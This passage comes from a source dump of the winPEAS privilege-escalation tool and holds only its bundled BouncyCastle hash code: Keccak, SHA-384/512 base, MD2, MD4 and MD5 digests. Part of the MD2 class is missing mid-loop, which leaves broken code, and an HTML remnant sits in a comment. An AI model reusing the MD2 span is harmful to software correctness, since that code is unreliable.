a07 << 6 | a07 >> 58; a07 = a10 << 3 | a10 >> 61; a10 = c1; // chi c0 = a00 ^ (~a01 & a02); c1 = a01 ^ (~a02 & a03); a02 ^= ~a03 & a04; a03 ^= ~a04 & a00; a04 ^= ~a00 & a01; a00 = c0; a01 = c1; c0 = a05 ^ (~a06 & a07); c1 = a06 ^ (~a07 & a08); a07 ^= ~a08 & a09; a08 ^= ~a09 & a05; a09 ^= ~a05 & a06; a05 = c0; a06 = c1; c0 = a10 ^ (~a11 & a12); c1 = a11 ^ (~a12 & a13); a12 ^= ~a13 & a14; a13 ^= ~a14 & a10; a14 ^= ~a10 & a11; a10 = c0; a11 = c1; c0 = a15 ^ (~a16 & a17); c1 = a16 ^ (~a17 & a18); a17 ^= ~a18 & a19; a18 ^= ~a19 & a15; a19 ^= ~a15 & a16; a15 = c0; a16 = c1; c0 = a20 ^ (~a21 & a22); c1 = a21 ^ (~a22 & a23); a22 ^= ~a23 & a24; a23 ^= ~a24 & a20; a24 ^= ~a20 & a21; a20 = c0; a21 = c1; // iota a00 ^= KeccakRoundConstants[i]; } A[ 0] = a00; A[ 1] = a01; A[ 2] = a02; A[ 3] = a03; A[ 4] = a04; A[ 5] = a05; A[ 6] = a06; A[ 7] = a07; A[ 8] = a08; A[ 9] = a09; A[10] = a10; A[11] = a11; A[12] = a12; A[13] = a13; A[14] = a14; A[15] = a15; A[16] = a16; A[17] = a17; A[18] = a18; A[19] = a19; A[20] = a20; A[21] = a21; A[22] = a22; A[23] = a23; A[24] = a24; } public virtual IMemoable Copy() { return new KeccakDigest(this); } public virtual void Reset(IMemoable other) { CopyIn((KeccakDigest)other); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/LongDigest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * Base class for SHA-384 and SHA-512. */ public abstract class LongDigest : IDigest, IMemoable { private int MyByteLength = 128; private byte[] xBuf; private int xBufOff; private long byteCount1; private long byteCount2; internal ulong H1, H2, H3, H4, H5, H6, H7, H8; private ulong[] W = new ulong[80]; private int wOff; /** * Constructor for variable length word */ internal LongDigest() { xBuf = new byte[8]; Reset(); } /** * Copy constructor. We are using copy constructors in place * of the object.Clone() interface as this interface is not * supported by J2ME. */ internal LongDigest( LongDigest t) { xBuf = new byte[t.xBuf.Length]; CopyIn(t); } protected void CopyIn(LongDigest t) { Array.Copy(t.xBuf, 0, xBuf, 0, t.xBuf.Length); xBufOff = t.xBufOff; byteCount1 = t.byteCount1; byteCount2 = t.byteCount2; H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; H5 = t.H5; H6 = t.H6; H7 = t.H7; H8 = t.H8; Array.Copy(t.W, 0, W, 0, t.W.Length); wOff = t.wOff; } public void Update( byte input) { xBuf[xBufOff++] = input; if (xBufOff == xBuf.Length) { ProcessWord(xBuf, 0); xBufOff = 0; } byteCount1++; } public void BlockUpdate( byte[] input, int inOff, int length) { // // fill the current word // while ((xBufOff != 0) && (length > 0)) { Update(input[inOff]); inOff++; length--; } // // process whole words. // while (length > xBuf.Length) { ProcessWord(input, inOff); inOff += xBuf.Length; length -= xBuf.Length; byteCount1 += xBuf.Length; } // // load in the remainder. // while (length > 0) { Update(input[inOff]); inOff++; length--; } } public void Finish() { AdjustByteCounts(); long lowBitLength = byteCount1 << 3; long hiBitLength = byteCount2; // // add the pad bytes. // Update((byte)128); while (xBufOff != 0) { Update((byte)0); } ProcessLength(lowBitLength, hiBitLength); ProcessBlock(); } public virtual void Reset() { byteCount1 = 0; byteCount2 = 0; xBufOff = 0; for ( int i = 0; i < xBuf.Length; i++ ) { xBuf[i] = 0; } wOff = 0; Array.Clear(W, 0, W.Length); } internal void ProcessWord( byte[] input, int inOff) { W[wOff] = Pack.BE_To_UInt64(input, inOff); if (++wOff == 16) { ProcessBlock(); } } /** * adjust the byte counts so that byteCount2 represents the * upper long (less 3 bits) word of the byte count. */ private void AdjustByteCounts() { if (byteCount1 > 0x1fffffffffffffffL) { byteCount2 += (long) ((ulong) byteCount1 >> 61); byteCount1 &= 0x1fffffffffffffffL; } } internal void ProcessLength( long lowW, long hiW) { if (wOff > 14) { ProcessBlock(); } W[14] = (ulong)hiW; W[15] = (ulong)lowW; } internal void ProcessBlock() { AdjustByteCounts(); // // expand 16 word block into 80 word blocks. // for (int ti = 16; ti <= 79; ++ti) { W[ti] = Sigma1(W[ti - 2]) + W[ti - 7] + Sigma0(W[ti - 15]) + W[ti - 16]; } // // set up working variables. // ulong a = H1; ulong b = H2; ulong c = H3; ulong d = H4; ulong e = H5; ulong f = H6; ulong g = H7; ulong h = H8; int t = 0; for(int i = 0; i < 10; i ++) { // t = 8 * i h += Sum1(e) + Ch(e, f, g) + K[t] + W[t++]; d += h; h += Sum0(a) + Maj(a, b, c); // t = 8 * i + 1 g += Sum1(d) + Ch(d, e, f) + K[t] + W[t++]; c += g; g += Sum0(h) + Maj(h, a, b); // t = 8 * i + 2 f += Sum1(c) + Ch(c, d, e) + K[t] + W[t++]; b += f; f += Sum0(g) + Maj(g, h, a); // t = 8 * i + 3 e += Sum1(b) + Ch(b, c, d) + K[t] + W[t++]; a += e; e += Sum0(f) + Maj(f, g, h); // t = 8 * i + 4 d += Sum1(a) + Ch(a, b, c) + K[t] + W[t++]; h += d; d += Sum0(e) + Maj(e, f, g); // t = 8 * i + 5 c += Sum1(h) + Ch(h, a, b) + K[t] + W[t++]; g += c; c += Sum0(d) + Maj(d, e, f); // t = 8 * i + 6 b += Sum1(g) + Ch(g, h, a) + K[t] + W[t++]; f += b; b += Sum0(c) + Maj(c, d, e); // t = 8 * i + 7 a += Sum1(f) + Ch(f, g, h) + K[t] + W[t++]; e += a; a += Sum0(b) + Maj(b, c, d); } H1 += a; H2 += b; H3 += c; H4 += d; H5 += e; H6 += f; H7 += g; H8 += h; // // reset the offset and clean out the word buffer. // wOff = 0; Array.Clear(W, 0, 16); } /* SHA-384 and SHA-512 functions (as for SHA-256 but for longs) */ private static ulong Ch(ulong x, ulong y, ulong z) { return (x & y) ^ (~x & z); } private static ulong Maj(ulong x, ulong y, ulong z) { return (x & y) ^ (x & z) ^ (y & z); } private static ulong Sum0(ulong x) { return ((x << 36) | (x >> 28)) ^ ((x << 30) | (x >> 34)) ^ ((x << 25) | (x >> 39)); } private static ulong Sum1(ulong x) { return ((x << 50) | (x >> 14)) ^ ((x << 46) | (x >> 18)) ^ ((x << 23) | (x >> 41)); } private static ulong Sigma0(ulong x) { return ((x << 63) | (x >> 1)) ^ ((x << 56) | (x >> 8)) ^ (x >> 7); } private static ulong Sigma1(ulong x) { return ((x << 45) | (x >> 19)) ^ ((x << 3) | (x >> 61)) ^ (x >> 6); } /* SHA-384 and SHA-512 Constants * (represent the first 64 bits of the fractional parts of the * cube roots of the first sixty-four prime numbers) */ internal static readonly ulong[] K = { 0x428a2f98d728ae22, 0x7137449123ef65cd, 0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc, 0x3956c25bf348b538, 0x59f111f1b605d019, 0x923f82a4af194f9b, 0xab1c5ed5da6d8118, 0xd807aa98a3030242, 0x12835b0145706fbe, 0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2, 0x72be5d74f27b896f, 0x80deb1fe3b1696b1, 0x9bdc06a725c71235, 0xc19bf174cf692694, 0xe49b69c19ef14ad2, 0xefbe4786384f25e3, 0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65, 0x2de92c6f592b0275, 0x4a7484aa6ea6e483, 0x5cb0a9dcbd41fbd4, 0x76f988da831153b5, 0x983e5152ee66dfab, 0xa831c66d2db43210, 0xb00327c898fb213f, 0xbf597fc7beef0ee4, 0xc6e00bf33da88fc2, 0xd5a79147930aa725, 0x06ca6351e003826f, 0x142929670a0e6e70, 0x27b70a8546d22ffc, 0x2e1b21385c26c926, 0x4d2c6dfc5ac42aed, 0x53380d139d95b3df, 0x650a73548baf63de, 0x766a0abb3c77b2a8, 0x81c2c92e47edaee6, 0x92722c851482353b, 0xa2bfe8a14cf10364, 0xa81a664bbc423001, 0xc24b8b70d0f89791, 0xc76c51a30654be30, 0xd192e819d6ef5218, 0xd69906245565a910, 0xf40e35855771202a, 0x106aa07032bbd1b8, 0x19a4c116b8d2d0c8, 0x1e376c085141ab53, 0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8, 0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb, 0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3, 0x748f82ee5defb2fc, 0x78a5636f43172f60, 0x84c87814a1f0ab72, 0x8cc702081a6439ec, 0x90befffa23631e28, 0xa4506cebde82bde9, 0xbef9a3f7b2c67915, 0xc67178f2e372532b, 0xca273eceea26619c, 0xd186b8c721c0c207, 0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178, 0x06f067aa72176fba, 0x0a637dc5a2c898a6, 0x113f9804bef90dae, 0x1b710b35131c471b, 0x28db77f523047d84, 0x32caab7b40c72493, 0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c, 0x4cc5d4becb3e42b6, 0x597f299cfc657e2a, 0x5fcb6fab3ad6faec, 0x6c44198c4a475817 }; public int GetByteLength() { return MyByteLength; } public abstract string AlgorithmName { get; } public abstract int GetDigestSize(); public abstract int DoFinal(byte[] output, int outOff); public abstract IMemoable Copy(); public abstract void Reset(IMemoable t); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/MD2Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of MD2 * as outlined in RFC1319 by B.Kaliski from RSA Laboratories April 1992 */ public class MD2Digest : IDigest, IMemoable { private const int DigestLength = 16; private const int BYTE_LENGTH = 16; /* X buffer */ private byte[] X = new byte[48]; private int xOff; /* M buffer */ private byte[] M = new byte[16]; private int mOff; /* check sum */ private byte[] C = new byte[16]; private int COff; public MD2Digest() { Reset(); } public MD2Digest(MD2Digest t) { CopyIn(t); } private void CopyIn(MD2Digest t) { Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; Array.Copy(t.M, 0, M, 0, t.M.Length); mOff = t.mOff; Array.Copy(t.C, 0, C, 0, t.C.Length); COff = t.COff; } /** * return the algorithm name * * @return the algorithm name */ public string AlgorithmName { get { return "MD2"; } } public int GetDigestSize() { return DigestLength; } public int GetByteLength() { return BYTE_LENGTH; } /** * Close the digest, producing the final digest value. The doFinal * call leaves the digest reset. * * @param out the array the digest is to be copied into. * @param outOff the offset into the out array the digest is to start at. */ public int DoFinal(byte[] output, int outOff) { // add padding byte paddingByte = (byte)(M.Length - mOff); for (int i=mOff;i 0)) { Update(input[inOff]); inOff++; length--; } // // process whole words. // while (length > 16) { Array.Copy(input,inOff,M,0,16); ProcessChecksum(M); ProcessBlock(M); length -= 16; inOff += 16; } // // load in the remainder. // while (length > 0) { Update(input[inOff]); inOff++; length--; } } internal void ProcessChecksum(byte[] m) { int L = C[15]; for (int i=0;i<16;i++) { C[i] ^= S[(m[i] ^ L) & 0xff]; L = C[i]; } } internal void ProcessBlock(byte[] m) { for (int i=0;i<16;i++) { X[i+16] = m[i]; X[i+32] = (byte)(m[i] ^ X[i]); } // encrypt block int t = 0; for (int j=0;j<18;j++) { for (int k=0;k<48;k++) { t = X[k] ^= S[t]; t = t & 0xff; } t = (t + j)%256; } } // 256-byte random permutation constructed from the digits of PI private static readonly byte[] S = { (byte)41,(byte)46,(byte)67,(byte)201,(byte)162,(byte)216,(byte)124, (byte)1,(byte)61,(byte)54,(byte)84,(byte)161,(byte)236,(byte)240, (byte)6,(byte)19,(byte)98,(byte)167,(byte)5,(byte)243,(byte)192, (byte)199,(byte)115,(byte)140,(byte)152,(byte)147,(byte)43,(byte)217, (byte)188,(byte)76,(byte)130,(byte)202,(byte)30,(byte)155,(byte)87, (byte)60,(byte)253,(byte)212,(byte)224,(byte)22,(byte)103,(byte)66, (byte)111,(byte)24,(byte)138,(byte)23,(byte)229,(byte)18,(byte)190, (byte)78,(byte)196,(byte)214,(byte)218,(byte)158,(byte)222,(byte)73, (byte)160,(byte)251,(byte)245,(byte)142,(byte)187,(byte)47,(byte)238, (byte)122,(byte)169,(byte)104,(byte)121,(byte)145,(byte)21,(byte)178, (byte)7,(byte)63,(byte)148,(byte)194,(byte)16,(byte)137,(byte)11, (byte)34,(byte)95,(byte)33,(byte)128,(byte)127,(byte)93,(byte)154, (byte)90,(byte)144,(byte)50,(byte)39,(byte)53,(byte)62,(byte)204, (byte)231,(byte)191,(byte)247,(byte)151,(byte)3,(byte)255,(byte)25, (byte)48,(byte)179,(byte)72,(byte)165,(byte)181,(byte)209,(byte)215, (byte)94,(byte)146,(byte)42,(byte)172,(byte)86,(byte)170,(byte)198, (byte)79,(byte)184,(byte)56,(byte)210,(byte)150,(byte)164,(byte)125, (byte)182,(byte)118,(byte)252,(byte)107,(byte)226,(byte)156,(byte)116, (byte)4,(byte)241,(byte)69,(byte)157,(byte)112,(byte)89,(byte)100, (byte)113,(byte)135,(byte)32,(byte)134,(byte)91,(byte)207,(byte)101, (byte)230,(byte)45,(byte)168,(byte)2,(byte)27,(byte)96,(byte)37, (byte)173,(byte)174,(byte)176,(byte)185,(byte)246,(byte)28,(byte)70, (byte)97,(byte)105,(byte)52,(byte)64,(byte)126,(byte)15,(byte)85, (byte)71,(byte)163,(byte)35,(byte)221,(byte)81,(byte)175,(byte)58, (byte)195,(byte)92,(byte)249,(byte)206,(byte)186,(byte)197,(byte)234, (byte)38,(byte)44,(byte)83,(byte)13,(byte)110,(byte)133,(byte)40, (byte)132, 9,(byte)211,(byte)223,(byte)205,(byte)244,(byte)65, (byte)129,(byte)77,(byte)82,(byte)106,(byte)220,(byte)55,(byte)200, (byte)108,(byte)193,(byte)171,(byte)250,(byte)36,(byte)225,(byte)123, (byte)8,(byte)12,(byte)189,(byte)177,(byte)74,(byte)120,(byte)136, (byte)149,(byte)139,(byte)227,(byte)99,(byte)232,(byte)109,(byte)233, (byte)203,(byte)213,(byte)254,(byte)59,(byte)0,(byte)29,(byte)57, (byte)242,(byte)239,(byte)183,(byte)14,(byte)102,(byte)88,(byte)208, (byte)228,(byte)166,(byte)119,(byte)114,(byte)248,(byte)235,(byte)117, (byte)75,(byte)10,(byte)49,(byte)68,(byte)80,(byte)180,(byte)143, (byte)237,(byte)31,(byte)26,(byte)219,(byte)153,(byte)141,(byte)51, (byte)159,(byte)17,(byte)131,(byte)20 }; public IMemoable Copy() { return new MD2Digest(this); } public void Reset(IMemoable other) { MD2Digest d = (MD2Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/MD4Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of MD4 as RFC 1320 by R. Rivest, MIT Laboratory for * Computer Science and RSA Data Security, Inc. *

    * NOTE: This algorithm is only included for backwards compatibility * with legacy applications, it's not secure, don't use it for anything new!

    */ public class MD4Digest : GeneralDigest { private const int DigestLength = 16; private int H1, H2, H3, H4; // IV's private int[] X = new int[16]; private int xOff; /** * Standard constructor */ public MD4Digest() { Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public MD4Digest(MD4Digest t) : base(t) { CopyIn(t); } private void CopyIn(MD4Digest t) { base.CopyIn(t); H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } public override string AlgorithmName { get { return "MD4"; } } public override int GetDigestSize() { return DigestLength; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8) | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24); if (xOff == 16) { ProcessBlock(); } } internal override void ProcessLength( long bitLength) { if (xOff > 14) { ProcessBlock(); } X[14] = (int)(bitLength & 0xffffffff); X[15] = (int)((ulong) bitLength >> 32); } private void UnpackWord( int word, byte[] outBytes, int outOff) { outBytes[outOff] = (byte)word; outBytes[outOff + 1] = (byte)((uint) word >> 8); outBytes[outOff + 2] = (byte)((uint) word >> 16); outBytes[outOff + 3] = (byte)((uint) word >> 24); } public override int DoFinal( byte[] output, int outOff) { Finish(); UnpackWord(H1, output, outOff); UnpackWord(H2, output, outOff + 4); UnpackWord(H3, output, outOff + 8); UnpackWord(H4, output, outOff + 12); Reset(); return DigestLength; } /** * reset the chaining variables to the IV values. */ public override void Reset() { base.Reset(); H1 = unchecked((int) 0x67452301); H2 = unchecked((int) 0xefcdab89); H3 = unchecked((int) 0x98badcfe); H4 = unchecked((int) 0x10325476); xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } // // round 1 left rotates // private const int S11 = 3; private const int S12 = 7; private const int S13 = 11; private const int S14 = 19; // // round 2 left rotates // private const int S21 = 3; private const int S22 = 5; private const int S23 = 9; private const int S24 = 13; // // round 3 left rotates // private const int S31 = 3; private const int S32 = 9; private const int S33 = 11; private const int S34 = 15; /* * rotate int x left n bits. */ private int RotateLeft( int x, int n) { return (x << n) | (int) ((uint) x >> (32 - n)); } /* * F, G, H and I are the basic MD4 functions. */ private int F( int u, int v, int w) { return (u & v) | (~u & w); } private int G( int u, int v, int w) { return (u & v) | (u & w) | (v & w); } private int H( int u, int v, int w) { return u ^ v ^ w; } internal override void ProcessBlock() { int a = H1; int b = H2; int c = H3; int d = H4; // // Round 1 - F cycle, 16 times. // a = RotateLeft((a + F(b, c, d) + X[ 0]), S11); d = RotateLeft((d + F(a, b, c) + X[ 1]), S12); c = RotateLeft((c + F(d, a, b) + X[ 2]), S13); b = RotateLeft((b + F(c, d, a) + X[ 3]), S14); a = RotateLeft((a + F(b, c, d) + X[ 4]), S11); d = RotateLeft((d + F(a, b, c) + X[ 5]), S12); c = RotateLeft((c + F(d, a, b) + X[ 6]), S13); b = RotateLeft((b + F(c, d, a) + X[ 7]), S14); a = RotateLeft((a + F(b, c, d) + X[ 8]), S11); d = RotateLeft((d + F(a, b, c) + X[ 9]), S12); c = RotateLeft((c + F(d, a, b) + X[10]), S13); b = RotateLeft((b + F(c, d, a) + X[11]), S14); a = RotateLeft((a + F(b, c, d) + X[12]), S11); d = RotateLeft((d + F(a, b, c) + X[13]), S12); c = RotateLeft((c + F(d, a, b) + X[14]), S13); b = RotateLeft((b + F(c, d, a) + X[15]), S14); // // Round 2 - G cycle, 16 times. // a = RotateLeft((a + G(b, c, d) + X[ 0] + 0x5a827999), S21); d = RotateLeft((d + G(a, b, c) + X[ 4] + 0x5a827999), S22); c = RotateLeft((c + G(d, a, b) + X[ 8] + 0x5a827999), S23); b = RotateLeft((b + G(c, d, a) + X[12] + 0x5a827999), S24); a = RotateLeft((a + G(b, c, d) + X[ 1] + 0x5a827999), S21); d = RotateLeft((d + G(a, b, c) + X[ 5] + 0x5a827999), S22); c = RotateLeft((c + G(d, a, b) + X[ 9] + 0x5a827999), S23); b = RotateLeft((b + G(c, d, a) + X[13] + 0x5a827999), S24); a = RotateLeft((a + G(b, c, d) + X[ 2] + 0x5a827999), S21); d = RotateLeft((d + G(a, b, c) + X[ 6] + 0x5a827999), S22); c = RotateLeft((c + G(d, a, b) + X[10] + 0x5a827999), S23); b = RotateLeft((b + G(c, d, a) + X[14] + 0x5a827999), S24); a = RotateLeft((a + G(b, c, d) + X[ 3] + 0x5a827999), S21); d = RotateLeft((d + G(a, b, c) + X[ 7] + 0x5a827999), S22); c = RotateLeft((c + G(d, a, b) + X[11] + 0x5a827999), S23); b = RotateLeft((b + G(c, d, a) + X[15] + 0x5a827999), S24); // // Round 3 - H cycle, 16 times. // a = RotateLeft((a + H(b, c, d) + X[ 0] + 0x6ed9eba1), S31); d = RotateLeft((d + H(a, b, c) + X[ 8] + 0x6ed9eba1), S32); c = RotateLeft((c + H(d, a, b) + X[ 4] + 0x6ed9eba1), S33); b = RotateLeft((b + H(c, d, a) + X[12] + 0x6ed9eba1), S34); a = RotateLeft((a + H(b, c, d) + X[ 2] + 0x6ed9eba1), S31); d = RotateLeft((d + H(a, b, c) + X[10] + 0x6ed9eba1), S32); c = RotateLeft((c + H(d, a, b) + X[ 6] + 0x6ed9eba1), S33); b = RotateLeft((b + H(c, d, a) + X[14] + 0x6ed9eba1), S34); a = RotateLeft((a + H(b, c, d) + X[ 1] + 0x6ed9eba1), S31); d = RotateLeft((d + H(a, b, c) + X[ 9] + 0x6ed9eba1), S32); c = RotateLeft((c + H(d, a, b) + X[ 5] + 0x6ed9eba1), S33); b = RotateLeft((b + H(c, d, a) + X[13] + 0x6ed9eba1), S34); a = RotateLeft((a + H(b, c, d) + X[ 3] + 0x6ed9eba1), S31); d = RotateLeft((d + H(a, b, c) + X[11] + 0x6ed9eba1), S32); c = RotateLeft((c + H(d, a, b) + X[ 7] + 0x6ed9eba1), S33); b = RotateLeft((b + H(c, d, a) + X[15] + 0x6ed9eba1), S34); H1 += a; H2 += b; H3 += c; H4 += d; // // reset the offset and clean out the word buffer. // xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } public override IMemoable Copy() { return new MD4Digest(this); } public override void Reset(IMemoable other) { MD4Digest d = (MD4Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/MD5Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of MD5 as outlined in "Handbook of Applied Cryptography", pages 346 - 347. */ public class MD5Digest : GeneralDigest { private const int DigestLength = 16; private uint H1, H2, H3, H4; // IV's private uint[] X = new uint[16]; private int xOff; public MD5Digest() { Reset(); } /** * Copy constructor. This will copy the state of the provided * message digest. */ public MD5Digest(MD5Digest t) : base(t) { CopyIn(t); } private void CopyIn(MD5Digest t) { base.CopyIn(t); H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } public override string AlgorithmName { get { return "MD5"; } } public override int GetDigestSize() { return DigestLength; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff] = Pack.LE_To_UInt32(input, inOff); if (++xOff == 16) { ProcessBlock(); } } internal override void ProcessLength( long bitLength) { if (xOff > 14) { if (xOff == 15) X[15] = 0; ProcessBlock(); } for (int i = xOff; i < 14; ++i) { X[i] = 0; } X[14] = (uint)((ulong)bitLength); X[15] = (uint)((ulong)bitLength >> 32); } public override int DoFinal( byte[] output, int outOff) { Finish(); Pack.UInt32_To_LE(H1, output, outOff); Pack.UInt32_To_LE(H2, output, outOff + 4); Pack.UInt32_To_LE(H3, output, outOff + 8); Pack.UInt32_To_LE(H4, output, outOff + 12); Reset(); return DigestLength; } /** * reset the chaining variables to the IV values. */ public override void Reset() { base.Reset(); H1 = 0x67452301; H2 = 0xefcdab89; H3 = 0x98badcfe; H4 = 0x10325476; xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } // // round 1 left rotates // private static readonly int S11 = 7; private static readonly int S12 = 12; private static readonly int S13 = 17; private static readonly int S14 = 22; // // round 2 left rotates // private static readonly int S21 = 5; private static readonly int S22 = 9; private static readonly int S23 = 14; private static readonly int S24 = 20; // // round 3 left rotates // private static readonly int S31 = 4; private static readonly int S32 = 11; private static readonly int S33 = 16; private static readonly int S34 = 23; // // round 4 left rotates // private static readonly int S41 = 6; private static readonly int S42 = 10; private static readonly int S43 = 15; private static readonly int S44 = 21; /* * rotate int x left n bits. */ private static uint RotateLeft( uint x, int n) { return (x << n) | (x >> (32 - n)); } /* * F, G, H and I are the basic MD5 functions. */ private static uint F( uint u, uint v, uint w) { return (u & v) | (~u & w); } private static uint G( uint u, uint v, uint w) { return (u & w) | (v & ~w); } private static uint H( uint u, uint v, uint w) { return u ^ v ^ w; } private static uint K( uint u, uint v, uint w) { return v ^ (u | ~w); } internal override void ProcessBlock() { uint a = H1; uint b = H2; uint c = H3; uint d = H4; // // Round 1 - F cycle, 16 times. // a = RotateLeft((a + F(b, c, d) + X[0] + 0xd76aa478), S11) + b; d = RotateLeft((d + F(a, b, c) + X[1] + 0xe8c7b756), S12) + a; c = RotateLeft((c + F(d, a, b) + X[2] + 0x242070db), S13) + d; b = RotateLeft((b + F(c, d, a) + X[3] + 0xc1bdceee), S14) + c; a = RotateLeft((a + F(b, c, d) + X[4] + 0xf57c0faf), S11) + b; d = RotateLeft((d + F(a, b, c) + X[5] + 0x4787c62a), S12) + a; c = RotateLeft((c + F(d, a, b) + X[6] + 0xa8304613), S13) + d; b = RotateLeft((b + F(c, d, a) + X[7] + 0xfd469501), S14) + c; a = RotateLeft((a + F(b, c, d) + X[8] + 0x698098d8), S11) + b; d = RotateLeft((d + F(a, b, c) + X[9] + 0x8b44f7af), S12) + a; c = RotateLeft((c + F(d, a, b) + X[10] + 0xffff5bb1), S13) + d; b = RotateLeft((b + F(c, d, a) + X[11] + 0x895cd7be), S14) + c; a = RotateLeft((a + F(b, c, d) + X[12] + 0x6b901122), S11) + b; d = RotateLeft((d + F(a, b, c) + X[13] + 0xfd987193), S12) + a; c = RotateLeft((c + F(d, a, b) + X[14] + 0xa679438e), S13) + d; b = RotateLeft((b + F(c, d, a) + X[15] + 0x49b40821), S14) + c; // // Round 2 - G cycle, 16 times. // a = RotateLeft((a + G(b, c, d) + X[1] + 0xf61e2562), S21) + b; d = RotateLeft((d + G(a, b, c) + X[6] + 0xc040b340), S22) + a; c = RotateLeft((c + G(d, a, b) + X[11] + 0x265e5a51), S23) + d; b = RotateLeft((b + G(c, d, a) + X[0] + 0xe9b6c7aa), S24) + c; a = RotateLeft((a + G(b, c, d) + X[5] + 0xd62f105d), S21) + b; d = RotateLeft((d + G(a, b, c) + X[10] + 0x02441453), S22) + a; c = RotateLeft((c + G(d, a, b) + X[15] + 0xd8a1e681), S23) + d; b = RotateLeft((b + G(c, d, a) + X[4] + 0xe7d3fbc8), S24) + c; a = RotateLeft((a + G(b, c, d) + X[9] + 0x21e1cde6), S21) + b; d = RotateLeft((d + G(a, b, c) + X[14] + 0xc33707d6), S22) + a; c = RotateLeft((c + G(d, a, b) + X[3] + 0xf4d50d87), S23) + d; b = RotateLeft((b + G(c, d, a) + X[8] + 0x455a14ed), S24) + c; a = RotateLeft((a + G(b, c, d) + X[13] + 0xa9e3e905), S21) + b; d = RotateLeft((d + G(a, b, c) + X[2] + 0xfcefa3f8), S22) + a; c = RotateLeft((c + G(d, a, b) + X[7] + 0x676f02d9), S23) + d; b = RotateLeft((b + G(c, d, a) + X[12] + 0x8d2a4c8a), S24) + c; // // Round 3 - H cycle, 16 times. // a = RotateLeft((a + H(b, c, d) + X[5] + 0xfffa3942), S31) + b; d = RotateLeft((d + H(a, b, c) + X[8] + 0x8771f681), S32) + a; c = RotateLeft((c + H(d, a, b) + X[11] + 0x6d9d6122), S33) + d; b = RotateLeft((b + H(c, d, a) + X[14] + 0xfde5380c), S34) + c; a = RotateLeft((a + H(b, c, d) + X[1] + 0xa4beea44), S31) + b; d = RotateLeft((d + H(a, b, c) + X[4] + 0x4bdecfa9), S32) + a; c = RotateLeft((c + H(d, a, b) + X[7] + 0xf6bb4b60), S33) + d; b = RotateLeft((b + H(c, d, a) + X[10] + 0xbebfbc70), S34) + c; a = RotateLeft((a + H(b, c, d) + X[13] + 0x289b7ec6), S31) + b; d = RotateLeft((d + H(a, b, c) + X[0] + 0xeaa127fa), S32) + a; c = RotateLeft((c + H(d, a, b) + X[3] + 0xd4ef3085), S33) + d; b = RotateLeft((b + H(c, d, a) + X[6] + 0x04881d05), S34) + c; a = RotateLeft((a + H(b, c, d) + X[9] + 0xd9d4d039), S31) + b; d = RotateLeft((d + H(a, b, c) + X[12] + 0xe6db99e5), S32) + a; c = RotateLeft((c + H(d, a, b) + X[15] + 0x1fa27cf8), S33) + d; b = RotateLeft((b + H(c, d, a) + X[2] + 0xc4ac5665), S34) + c; // // Round 4 - K cycle, 16 times. // a = RotateLeft((a + K(b, c, d) + X[0] + 0xf4292244), S41) + b; d = RotateLeft((d + K(a, b, c) + X[7] + 0x432aff97), S42) + a; c = RotateLeft((c + K(d, a, b) + X[14] + 0xab9423a7), S43) + d; b = RotateLeft((b + K(c, d, a) + X[5] + 0xfc93a039), S44) + c; a = RotateLeft((a + K(b, c, d) + X[12] + 0x655b59c3), S41) + b; d = RotateLeft((d + K(a, b, c) + X[3] + 0x8f0ccc92), S42) + a; c = RotateLeft((c + K(d, a, b) + X[10] + 0xffeff47d), S43) + d; b = RotateLeft((b + K(c, d, a) + X[1] + 0x85845dd1), S44) + c; a = RotateLeft((a + K(b, c, d) + X[8] + 0x6fa87e4f), S41) + b; d = RotateLeft((d + K(a, b, c) + X[15] + 0xfe2ce6e0), S42) + a; c = RotateLeft((c + K(d, a, b) + X[6] + 0xa3014314), S43) + d; b = RotateLeft((b + K(c, d, a) + X[13] + 0x4e0811a1), S44) + c; a = RotateLeft((a + K(b, c, d) + X[4] + 0xf7537e82), S41) + b; d = RotateLeft((d + K(a, b, c) + X[11] + 0xbd3af235), S42) + a; c = RotateLeft((c + K(d, a, b) + X[2] + 0x2ad7d2bb), S43) + d; b = RotateLeft((b + K(c, d, a) + X[9] + 0xeb86d391), S44) + c; H1 += a; H2 += b; H3 += c; H4 += d; xOff = 0; } public override IMemoable Copy() { return new MD5Digest(this); } public override void 